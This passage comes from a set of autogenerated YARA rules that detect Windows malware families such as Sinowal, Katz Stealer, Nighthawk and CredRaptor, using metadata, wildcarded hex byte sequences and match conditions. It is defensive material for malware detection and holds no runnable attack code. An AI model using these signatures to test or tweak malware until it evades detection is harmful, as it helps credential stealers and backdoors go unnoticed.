		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 46 8b5510 52 6a00 ff15???????? }
		$sequence_1 = { ff15???????? 6800040000 8bf0 e8???????? 83c404 }
		$sequence_2 = { 0f84e6000000 3da5000000 0f84db000000 83f85b 0f84cb000000 }
		$sequence_3 = { 8b07 83f808 750a be???????? e9???????? }
		$sequence_4 = { e9???????? 83f80d 750a be???????? e9???????? 83f814 }
		$sequence_5 = { 750a be???????? e9???????? 83f828 750a be???????? }
		$sequence_6 = { 0f848e000000 56 57 b980000000 8db5fcfdffff bf???????? }
		$sequence_7 = { 57 0fb7d6 6a02 52 ff15???????? }
		$sequence_8 = { be???????? e9???????? 83f809 750a be???????? e9???????? 83f80a }
		$sequence_9 = { 83f828 750a be???????? e9???????? 83f82c 750a be???????? }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Meltingclaw_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4c934307-6162-5bd3-9838-14fb4893e749"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meltingclaw"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meltingclaw_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "b6f3eb32e00edec50809c43ad1e4398bb12b63738a427d7db6e1e036df7e69e8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8484000000 ffc1 4c63e1 498bcc e8???????? }
		$sequence_1 = { 488d8da8000000 48ffc9 48ffc1 803900 }
		$sequence_2 = { 33c9 ff15???????? 488d8d80000000 8bd8 e8???????? }
		$sequence_3 = { 8bfa 488bd9 33d2 41b804010000 488d4c2470 e8???????? 660f6f05???????? }
		$sequence_4 = { 488364243000 4533c9 44896c2428 4533c0 8364242000 }
		$sequence_5 = { 880411 48ffc2 84c0 75f3 488d8da8000000 }
		$sequence_6 = { 23c1 41c1ff0c 2bc2 448bf0 418d6f01 4883ffff }
		$sequence_7 = { 80c121 418809 49ffc1 b90d000000 490fbe41ff 33d2 }
		$sequence_8 = { 750e 48396928 7508 48396930 b001 7403 }
		$sequence_9 = { 6bc83f 49c70700010000 80c121 418809 49ffc1 b90b000000 }
	condition:
		7 of them and filesize < 348160
}

rule MALPEDIA_Win_Sinowal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f893f7f-89f2-5c9f-9fc2-27e806579cce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sinowal_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "54091d4d3127abdf4debf8514f31e0539d3fa9d766e80cf864467b06870782b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 0f85b3000000 837df800 }
		$sequence_1 = { c7854cfdffff28000000 83bd4cfdffff03 7305 e9???????? 8b8d4cfdffff }
		$sequence_2 = { 8b45fc 83c001 8945fc 8b4d0c d1e9 394dfc }
		$sequence_3 = { 33d2 7596 837de800 7417 8b4508 8b08 }
		$sequence_4 = { 8995ecfeffff c785c4feffff00000000 c745fc00000000 c745f800000000 c685f0feffff00 68ff000000 6a00 }
		$sequence_5 = { 50 e8???????? 83c40c c745fc01000000 c745f804010000 8d4df8 }
		$sequence_6 = { 51 ff15???????? 33c0 eb03 83c8ff }
		$sequence_7 = { 52 ff15???????? c745f400000000 eb09 8b45f4 }
		$sequence_8 = { 7405 e9???????? 6830020000 6a00 }
		$sequence_9 = { 8b4dfc 0fb611 33d0 8b45fc 8810 8b4dfc }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Pykspa_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50716d19-baac-512e-9696-08ac9e2a4a98"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pykspa_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "224d3991c62a8b8f8f63073971c195da5bc5aec2fb8743f9bc32c0631a402ab6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 32c0 eb0d 2b4508 8d443004 39450c 0f9dc0 }
		$sequence_1 = { ff7524 68???????? e8???????? 83c40c 8d8500fcffff 50 8d8500d4ffff }
		$sequence_2 = { 53 ff15???????? e9???????? 8d85a0feffff 68???????? 50 e8???????? }
		$sequence_3 = { 8bf0 ff15???????? ff75cc 8bf8 e8???????? 3bf3 59 }
		$sequence_4 = { e9???????? 6a0a 8d45b0 50 8d858ceeffff 50 e8???????? }
		$sequence_5 = { 8bcb 83e107 c1e102 d3e8 a80f 7503 4b }
		$sequence_6 = { 50 6aff ff36 53 53 ff15???????? ff7508 }
		$sequence_7 = { 6a41 8d45bc 50 68???????? e8???????? 83c40c ff15???????? }
		$sequence_8 = { 53 e8???????? 8903 8d0436 83c40c 894708 6a02 }
		$sequence_9 = { 7414 8d4580 50 8d4508 50 56 ff7510 }
	condition:
		7 of them and filesize < 835584
}

rule MALPEDIA_Win_Apollo_Shadow_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea905677-b1ee-5a47-bc71-e2c692213f7b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo_shadow"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apollo_shadow_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "b4c0913bb7700a7eb24e3d781656266dfb7d50769bc9ee1a9816b626000653e9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bce e8???????? 4183ceff 488d0590880200 4a8b04f8 42f644e03801 }
		$sequence_1 = { 48898424e0000000 488bf1 48894c2458 4533f6 4489742430 0f57c0 }
		$sequence_2 = { 48b8033bae3ba217f877 488945a7 488b75a7 48b8b89c83748f3838d7 488945a7 488b5da7 48b89553bf5390096f5f }
		$sequence_3 = { 48b8ffffffffffffff7f 483bc8 0f8793000000 4803c9 4881f900100000 7224 488d4127 }
		$sequence_4 = { 48837d3708 480f43451f 48894d2f 66891c48 eb57 488bd1 }
		$sequence_5 = { 4053 4883ec20 b908000000 e8???????? 488bd8 4889442430 48c70001000080 }
		$sequence_6 = { 0f28458f 33ff 4c8d7dc7 48837ddf08 4c0f437dc7 }
		$sequence_7 = { 448b10 410fb609 83e10f 4a0fbe8431489d0300 428a8c31589d0300 4c2bc8 418b41fc }
		$sequence_8 = { c744242804000000 488d842480000000 4889442420 41b904000000 4533c0 488b0f ff15???????? }
		$sequence_9 = { f3410f7f01 f30f7e4108 660f60c0 660f71e008 f3410f7f4110 f30f7e4110 660f60c0 }
	condition:
		7 of them and filesize < 710656
}

rule MALPEDIA_Win_Gratem_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ab5cab4a-386c-5ff0-b7ae-5f5f77749cf9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gratem_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "faae71a2a37b93e3d77306cf98fe40a8f8f60859a11449c5f85889b06fd54fb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 8b4508 56 8d34c5c0b84000 833e00 7513 }
		$sequence_1 = { c6040400 8d1424 52 ff15???????? 8b8c2408010000 33cc }
		$sequence_2 = { 8945fc 85c0 742f 8b0e 8b5710 51 52 }
		$sequence_3 = { 0fb7048d64bc4000 41 6685c0 75e4 32c0 88460f c3 }
		$sequence_4 = { ff15???????? 8945fc 85c0 742f 8b0e }
		$sequence_5 = { 0fb6c0 eb12 8b45e0 8a803cb44000 08443b1d }
		$sequence_6 = { 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 }
		$sequence_7 = { 0fb7c0 baa3170000 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 }
		$sequence_8 = { 0f84de030000 0fb7048d64bc4000 41 6685c0 75e4 }
		$sequence_9 = { 0f8469010000 0fb7048d64bc4000 41 6685c0 75e4 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Katz_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c49e5ae3-476e-56a3-98bc-9b636f776fa6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.katz_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.katz_stealer_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "fd471cd54233791d0b513e7355b1bd82a81ef2e5ff3948f16fb07b4227562780"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd5 85c0 7516 6aff 5a 488b8c2480000000 ff15???????? }
		$sequence_1 = { 31c9 e8???????? 4893 e9???????? 85f6 }
		$sequence_2 = { 0f8517ffffff e9???????? 4889f9 ff15???????? 83f8ff 0f84ba030000 85db }
		$sequence_3 = { 488b4c2470 e8???????? 488b5c2450 8b742460 39b42480000000 }
		$sequence_4 = { e9???????? 4885d2 0f8429ffffff 488d0562f30000 4889842490000000 4c8b842490000000 }
		$sequence_5 = { e8???????? 66490f6ec5 66480f6ee7 4889f1 f20f5ec4 488d15dab00000 f20f5905???????? }
		$sequence_6 = { 488b8424b0070000 488d15663a0000 4889d9 488b04f8 448b4004 e8???????? }
		$sequence_7 = { f3ab 488d15f64c0000 4889f1 488dbc2494050000 e8???????? 4885c0 7449 }
		$sequence_8 = { 4c89c7 f3ab 488d0d075d0000 48b80100000006000000 4889842490020000 4c8d8c2480010000 }
		$sequence_9 = { 4489c8 4883c468 5b 5e c3 f6c701 0f8477010000 }
	condition:
		7 of them and filesize < 238592
}

rule MALPEDIA_Win_Nighthawk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f73d8e8e-0e22-5d8b-a28a-19526ca65051"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nighthawk_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "83ca7d457445609b911357175ebed2dd8acc41dfcf066ffda805bb2cf527d439"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4885c9 7405 e8???????? 4883631000 48c743180f000000 c60300 4883c320 }
		$sequence_1 = { e8???????? 488b4810 4883781810 7203 488b00 4885c9 7425 }
		$sequence_2 = { 4c89b5a0010000 4c89bda8010000 4488b590010000 48399dc8010000 7211 488b8db0010000 4885c9 }
		$sequence_3 = { 4c89742430 4c89742440 48c74424480f000000 41b814000000 488d15deaf0500 488d4c2430 e8???????? }
		$sequence_4 = { 4c8b43f8 4d85c0 742b 4883c8ff 48ffc0 44382407 75f7 }
		$sequence_5 = { 4c8b32 492bee 488bc5 48c1f803 480fafc1 4885ed 7473 }
		$sequence_6 = { 488d542420 488bce e8???????? 90 eb2b 4c892e 41be0f000000 }
		$sequence_7 = { 57 4883ec40 488360f000 488bf1 83601800 488d0da9db0700 8bda }
		$sequence_8 = { e9???????? 83fa06 0f8553010000 8d7209 443821 742e 4c8965e0 }
		$sequence_9 = { eb05 448974246c 4889b580020000 4889b590020000 4889bd98020000 41b823000000 488d1537f50700 }
	condition:
		7 of them and filesize < 1949696
}

rule MALPEDIA_Win_Silon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "77f22f8e-9f0a-5d81-b5cb-4a1b2cbd5d10"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silon_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "7b66629e0b9d8daa583e325d7e0da1ae5ba2cceda52e365df066a9ac5301a777"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8b956cfeffff 52 e8???????? 83c40c 837d8400 }
		$sequence_1 = { 898858080000 eb7c 8b55fc 8b8254080000 898514efffff }
		$sequence_2 = { 83c404 8945a4 837da400 746e 8b55a8 }
		$sequence_3 = { 0f868f000000 833d????????00 0f8482000000 c745e400000000 }
		$sequence_4 = { 50 6a00 e8???????? 83c410 89856cfeffff 83bd6cfeffff00 }
		$sequence_5 = { 8d8de8f9ffff 51 68???????? 8d95e8fbffff }
		$sequence_6 = { 8b55fc 8b8254080000 8b4dfc 03815c080000 }
		$sequence_7 = { 83c410 6a65 a1???????? 50 }
		$sequence_8 = { 8b85c4feffff 8945d4 0fb74dcd 85c9 7e34 0fb755cd }
		$sequence_9 = { 681d5b931f 6a05 e8???????? 8945fc 8b4510 50 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Sysget_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d2f0576d-1441-54f4-9c7c-cf1f813e0f5e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysget_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "089522db1c40ede3965799cc3ef7759b59f64889024e8b66531171fe0f366f21"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? bf???????? 83c424 c60000 }
		$sequence_1 = { 668b08 83c002 6685c9 75f5 8dbdecf1ffff 2bc6 83ef02 }
		$sequence_2 = { 8325????????00 5e c3 55 8bec 83ec34 a1???????? }
		$sequence_3 = { 8985c4f9ffff 052c010000 50 e8???????? 83c40c 6800800000 }
		$sequence_4 = { a3???????? 57 6a11 59 6a7c 8d4580 }
		$sequence_5 = { 8d85fcf7ffff 50 e8???????? 59 33c0 }
		$sequence_6 = { 8b85f8fbffff 8d8df4fbffff 51 50 8d85fcfbffff }
		$sequence_7 = { 8b35???????? 57 6a10 58 50 6a01 }
		$sequence_8 = { ff15???????? 8bc6 8bd6 668b08 83c002 663bcb }
		$sequence_9 = { 8d853cffffff 50 ff35???????? ff15???????? a1???????? }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Ramsay_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "591a738b-88c1-5449-9137-a45c1c5654e9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramsay_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "cc560e807fba4f127cf57dd3774af95181c3332f30b4eada50d5d158e9717780"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7514 ff15???????? 83f820 7502 eb07 }
		$sequence_1 = { ff15???????? 85c0 7502 eb02 ebb1 }
		$sequence_2 = { 85c0 744c c745e800000000 eb09 8b45e8 83c001 }
		$sequence_3 = { 8b4d08 83c101 51 6a00 8b55f8 }
		$sequence_4 = { 85c0 751a 8b4df8 51 ff15???????? 8b55fc }
		$sequence_5 = { 8b5508 8b4508 8a481c 884a0b 8b5508 8b4508 }
		$sequence_6 = { 837de806 7d34 8b4d08 034de8 0fbe4101 }
		$sequence_7 = { 884a01 ebbd b801000000 8b4df8 33cd e8???????? }
		$sequence_8 = { e8???????? 83c404 8945f8 8b45f8 8945fc 8b4d0c }
		$sequence_9 = { 8955e8 eba5 8b45f4 8be5 }
		$sequence_10 = { ff15???????? 33c0 e9???????? e8???????? 85c0 }
		$sequence_11 = { 488d8c24ec040000 ff15???????? 4885c0 7415 488b8c2420090000 }
		$sequence_12 = { 488d8c24f0020000 e8???????? 4889842420050000 8b842420050000 }
		$sequence_13 = { 488d8c24f0010000 ff15???????? 488d8c24f0010000 ff15???????? }
		$sequence_14 = { 488d8c24ec040000 ff15???????? 85c0 7402 }
		$sequence_15 = { 488d8c24f0010000 ff15???????? 4898 488d84047e040000 }
	condition:
		7 of them and filesize < 2031616
}

rule MALPEDIA_Win_Fk_Undead_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cf4f13f3-5cfd-52f4-9402-53feb1040423"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fk_undead"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fk_undead_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "082cbaea4a68893ab74100ece6602c4f221f464c059db4c166d2438647300475"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80bbbb02000000 0f44f9 83f807 0f87cb020000 ff2485887a0310 ff4618 }
		$sequence_1 = { 8965f0 8b4508 8b750c 8b5510 33c9 898dd8f7ffff 894dfc }
		$sequence_2 = { 83bb2402000000 745a 6a0a ff37 68???????? e8???????? 83c40c }
		$sequence_3 = { 8bf0 6a02 6a02 56 ff15???????? c745fc00000000 56 }
		$sequence_4 = { 6a3a ff37 e8???????? 8bf0 83c408 85f6 0f84b7000000 }
		$sequence_5 = { 742d 8b94241c080000 8b442408 8b8c2420080000 8902 8b1424 8b842424080000 }
		$sequence_6 = { 8b4c241c 52 8908 e8???????? 8b442418 83c404 5e }
		$sequence_7 = { 0fb7780c 8b442428 8d5001 8a08 40 84c9 75f9 }
		$sequence_8 = { 8b6c2414 33c0 33d2 57 89442408 85ed 0f8402010000 }
		$sequence_9 = { 51 e8???????? 83c404 8903 85c0 7516 8b5500 }
	condition:
		7 of them and filesize < 1418240
}

rule MALPEDIA_Win_Credraptor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "38da88b1-241e-5356-be41-ccd7d9b62617"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.credraptor_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0cde833c9a51e3ab99821592757d4fd144febcb8863fef5eac3bf6a67840a9e9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4720 83c40c 837e4000 89558c 8945c0 894db8 0f85c9120000 }
		$sequence_1 = { e8???????? 83c40c e9???????? 837f3000 7415 8b5508 52 }
		$sequence_2 = { e8???????? 83c404 8b5dfc 5e 8b4d0c 51 8bc3 }
		$sequence_3 = { e9???????? a802 7508 83c8ff e9???????? 8b45f0 85c0 }
		$sequence_4 = { c6043b25 03da ddd9 ddd8 8b4d94 41 803900 }
		$sequence_5 = { c745dc377f0682 c745e0002de218 884de9 8855ea 8845eb 3bc7 750e }
		$sequence_6 = { c70353000000 b802000000 5b 5d c3 83f83e 7510 }
		$sequence_7 = { be???????? 8d4ddc 8a01 3a06 751a 84c0 7412 }
		$sequence_8 = { c1f812 0cf0 0fb6c8 51 8bce e8???????? 8bd3 }
		$sequence_9 = { e8???????? ff45e4 83c404 83c318 8945f0 85c0 74e0 }
	condition:
		7 of them and filesize < 1728512
}

rule MALPEDIA_Win_Mailto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff9d1a8b-72b0-54b9-b1c0-036aa2d1956d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mailto_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "74f6ff054191d80b386ecb2515d44043acc73f0e2a8bfe9bc33853bab8856df0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 e8???????? 56 ffb42498050000 8d8424e8010000 50 }
		$sequence_1 = { 8bce d1ee 83e101 f7d9 81e12083b8ed 33ce 8bd1 }
		$sequence_2 = { 7434 a1???????? 8d048504000000 50 ff35???????? e8???????? 83c408 }
		$sequence_3 = { b938000000 8d3c32 2bca 33c0 8bd1 c1e902 f3ab }
		$sequence_4 = { 47 ff742418 897c2420 6a03 e8???????? 8bf0 }
		$sequence_5 = { 83c614 ff36 e8???????? 83c404 8d7620 83ed01 75ee }
		$sequence_6 = { 8d4010 0f104406f0 660fefc1 0f1140f0 83e901 75eb }
		$sequence_7 = { 6a00 6a02 ffd0 85c0 0f8517020000 53 55 }
		$sequence_8 = { 0f1f4000 8b840c54030000 01440c0c 8b840c58030000 11440c10 8b840c5c030000 01440c14 }
		$sequence_9 = { d1ea 83e101 f7d9 81e12083b8ed 33ca 8bd1 d1e9 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Mangzamel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb9c7043-77a1-5f0e-9ec6-79bacd6f6a15"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mangzamel_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "1febff50405236297e35d0651b3a25a3fa9330c560b764c64ec02cac2724b444"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bce e8???????? 8b45dc 33ff 85c0 }
		$sequence_1 = { e8???????? 8d8564ffffff c745e40d011133 50 e8???????? 83c428 40 }
		$sequence_2 = { 57 8d4dec c645fc02 e8???????? 85c0 0f8e95000000 57 }
		$sequence_3 = { 7412 ff7508 8d4e08 50 e8???????? 8b450c 894624 }
		$sequence_4 = { 6aff 57 68???????? 8d4de4 e8???????? 8bce e8???????? }
		$sequence_5 = { e8???????? 8d45ec 68???????? 50 e8???????? 83c41c 8d45ec }
		$sequence_6 = { e8???????? 57 e8???????? 59 55 8d4b20 }
		$sequence_7 = { 8bc8 c1e910 c1e818 880a 33ff 897514 8b4d14 }
		$sequence_8 = { 8b06 8365fc00 8bce b301 ff5010 3d04000102 }
		$sequence_9 = { eb34 68???????? 57 ffd6 59 85c0 59 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Sepulcher_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "802dcce7-e6b4-5d4a-a31c-1fbaf1e1892c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepulcher_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "5e68d8ea35ea7e66861512d33b8203bcd0ab7d3eb1395ac8fae23afff0a1b2a5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
